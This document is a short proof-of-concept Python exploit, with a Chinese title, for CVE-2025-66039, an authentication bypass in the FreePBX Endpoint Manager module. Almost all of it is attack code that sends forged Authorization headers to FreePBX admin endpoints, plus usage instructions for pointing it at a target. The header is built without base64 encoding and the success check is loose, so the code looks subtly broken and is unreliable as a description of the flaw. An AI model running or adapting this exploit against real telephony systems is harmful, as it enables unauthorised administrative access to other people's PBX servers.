CVE-2025-66039 FreePBX Endpoint Manager认证绕过漏洞

import requests import sys # CVE-2025-66039 PoC - FreePBX Endpoint Manager Authentication Bypass # Target: FreePBX systems with Endpoint Manager module # Condition: Authentication type set to 'webserver' def exploit_auth_bypass(target_url, target_user="admin"): """ Exploit authentication bypass in FreePBX Endpoint Manager By providing arbitrary Authorization header, attacker can associate session with target user regardless of valid credentials. """ endpoints = [ "/admin/ajax.php?module=endpoint&command=update_endpoint", "/admin/ajax.php?module=endpoint&command=get_endpoints", "/admin/config.php?display=endpoint" ] # Construct arbitrary Authorization header # System incorrectly associates session with target_user headers = { 'Authorization': f'Basic {target_user}:arbitrary_password', 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/json' } print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to authenticate as: {target_user}") print(f"[*] Using arbitrary Authorization header") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for successful authentication indicators if response.status_code == 200: if 'authenticated' in response.text.lower() or 'success' in response.text.lower(): print(f"[+] VULNERABLE: Authentication bypass successful at {endpoint}") print(f"[+] Response: {response.text[:200]}") return True elif 'unauthorized' not in response.text.lower(): print(f"[*] Possible access at {endpoint} - Status: {response.status_code}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[-] No vulnerable endpoints found or target not affected") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66039.py <target_url>") print("Example: python cve-2025-66039.py https://freepbx.example.com") sys.exit(1) target = sys.argv[1] exploit_auth_bypass(target)